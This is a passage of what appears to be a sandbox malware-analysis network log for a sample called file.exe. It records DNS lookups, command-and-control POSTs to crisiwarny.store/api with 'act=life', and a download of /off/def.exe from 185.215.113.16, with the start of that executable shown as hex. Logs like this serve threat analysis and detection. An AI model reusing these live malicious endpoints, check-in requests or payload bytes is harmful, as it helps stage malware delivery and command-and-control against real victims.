Oct 27, 2024 07:59:23.577415943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577446938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577478886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577510118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577526093 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577526093 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577562094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577613115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577662945 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577694893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577714920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577714920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577727079 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577759981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577809095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577840090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577863932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577872038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577884912 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577903986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577925920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.577935934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.577969074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.578001976 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.578036070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.578046083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.578046083 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.578071117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.578103065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.578145027 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.621655941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621721983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621752977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621800900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.621805906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621853113 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.621856928 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621889114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621922016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621949911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.621957064 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.621980906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622014046 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622045994 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622078896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622091055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.622100115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.622100115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.622112989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622164965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622179985 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.622199059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622230053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622279882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.622298956 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.622356892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.650825024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.650857925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.650911093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.650938988 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.650964022 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.650989056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651022911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651055098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651056051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651087046 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651093960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651145935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651159048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651180029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651211977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651246071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651282072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651293993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651307106 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651355982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651405096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651432037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651454926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651504040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651520014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651536942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651570082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651602030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651617050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651657104 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651691914 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651695013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651741982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651777029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651804924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651839972 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651839972 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.651854992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651889086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651940107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.651973009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652003050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652015924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652024031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652096987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652098894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652148962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652178049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652225971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652247906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652257919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652287006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652307034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652342081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652354956 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652374983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652406931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652446985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652448893 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652501106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652519941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652548075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652582884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652612925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652646065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652647018 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652671099 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652693033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652725935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652760983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652810097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652827024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652827024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652842045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652893066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652911901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.652940989 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.652976036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653002977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653033972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653079987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653114080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653114080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653114080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653145075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653165102 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653177023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653193951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653209925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653242111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653274059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653301001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653306007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653337002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653368950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.653393030 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.653419971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692007065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692070007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692106009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692131042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692157030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692169905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692190886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692230940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692246914 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692285061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692344904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692356110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692406893 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692440033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692471981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692504883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692537069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692538977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692538977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692589045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692620993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692653894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692667961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692681074 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692684889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692735910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692744970 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692768097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692806005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692827940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.692863941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692895889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692928076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692960024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.692991972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693011999 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693022966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693054914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693077087 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693087101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693119049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693130016 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693151951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693183899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693191051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693217993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693249941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693265915 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693283081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693315983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.693346977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.693799973 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:26.858649969 CET	49750	80	192.168.2.6	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 07:59:02.718076944 CET	65140	53	192.168.2.6	1.1.1.1
Oct 27, 2024 07:59:02.727514029 CET	53	65140	1.1.1.1	192.168.2.6
Oct 27, 2024 07:59:02.795923948 CET	56203	53	192.168.2.6	1.1.1.1
Oct 27, 2024 07:59:02.808564901 CET	53	56203	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 07:59:02.718076944 CET	192.168.2.6	1.1.1.1	0x681e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 07:59:02.795923948 CET	192.168.2.6	1.1.1.1	0xbe04	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 07:59:02.727514029 CET	1.1.1.1	192.168.2.6	0x681e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 07:59:02.808564901 CET	1.1.1.1	192.168.2.6	0xbe04	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 27, 2024 07:59:02.808564901 CET	1.1.1.1	192.168.2.6	0xbe04	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49750	185.215.113.16	80	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 07:59:17.069724083 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 27, 2024 07:59:17.962383032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 06:59:17 GMT Content-Type: application/octet-stream Content-Length: 2811904 Last-Modified: Sun, 27 Oct 2024 06:22:41 GMT Connection: keep-alive ETag: "671ddc31-2ae800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 98 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +G+`Ui` @ @.rsrc`2@.idata 8@whplpvpi*:@yoktbieb @+@.taggant@`+"*@
Oct 27, 2024 07:59:17.962429047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962460041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962477922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962495089 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962511063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962541103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 07:59:17.962558031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: jK}l<0"4 46i9*g,Y
Oct 27, 2024 07:59:17.962577105 CET	1236	IN	Data Raw: 7c 87 03 e6 e0 6b 8e 51 e4 c2 c0 99 08 1e 00 48 3f ef 7c ab e7 fc 11 59 2d a0 0b 95 ad ef 79 a6 2c fc 17 32 2d a2 bb e0 26 4e 0a 2a 6f a0 05 99 e6 35 40 90 24 bb 9a af 7f 1b 1d dd 27 cf 09 08 eb fd 89 da a8 95 d5 d4 91 ef bf 51 1c ef 89 e7 26 52 Data Ascii: \|kQH?\|Y-y,2-&No5@$'Q&Rto-]l2[jaM0(L9 l#r$SC8gT;]\A<6n(EhH!G_<kh70!K\|BV{e)
Oct 27, 2024 07:59:17.962593079 CET	1236	IN	Data Raw: d5 97 bc 35 47 99 bf e0 4d 80 b9 8b 2f 21 be 34 5f be 74 02 6d 83 5d 30 42 8f 28 d0 26 a1 a0 3a 40 44 8f 3c 43 a3 ac 91 d8 92 d8 ec 32 b0 23 30 56 8b ca f2 5d bc 04 ea 6b 6c 57 34 4d 66 5e 27 43 96 b8 50 3e ae d3 e2 ff 80 1b 35 5f 87 0a 30 70 eb Data Ascii: 5GM/!4_tm]0B(&:@D<C2#0V]klW4Mf^'CP>5_0p}qW^/uZ^m\zTAnYb@F4U2"tmnfmWP? J(~^ALh&~0M(;8<?mpJr7OHW\|/dr%9:aw{M`f/hJ
Oct 27, 2024 07:59:17.967895985 CET	1236	IN	Data Raw: b0 7b ab ef 15 56 6f d6 34 ec c7 80 45 5a de d5 02 36 06 f9 04 9f 9e 91 89 aa 3e 1a 61 b2 41 8b 69 1c a7 10 3d ea 9e e4 a4 c6 28 d2 1b db 17 10 c5 80 2e b5 6f de 49 01 58 30 05 85 69 79 9e 44 a9 f0 6f c3 30 bf 61 bc 86 fd ed dc fd be 01 05 0f ae Data Ascii: {Vo4EZ6>aAi=(.oIX0iyDo0aEzB#h1:~mKt<<QEAC.\| ?#[:90/x!:' }FuF6y/6">`.aA

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:03 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 06:59:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 06:59:04 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u1vpt1p1pak0lbeg6hb2a8e73l; expires=Thu, 20 Feb 2025 00:45:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uGJeDabFJYmvZtpSl1dw9rbrHt2BwGPuVIafjbgpLh%2FmcMlvZNaT%2FzUFPIji7DAlZNnLogeXhQnYaAKJZ%2B6fbA6rF4gd19sP22qv%2B0AHZaS7kuSxMrHBfWOOr%2BabQU3%2BpVj%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d90cd1c1fe7e52c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1163&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=2367947&cwnd=238&unsent_bytes=0&cid=912e596d9e82fbce&ts=556&x=0"
2024-10-27 06:59:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 06:59:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	172.67.170.64	443	6188	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 06:59:04 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
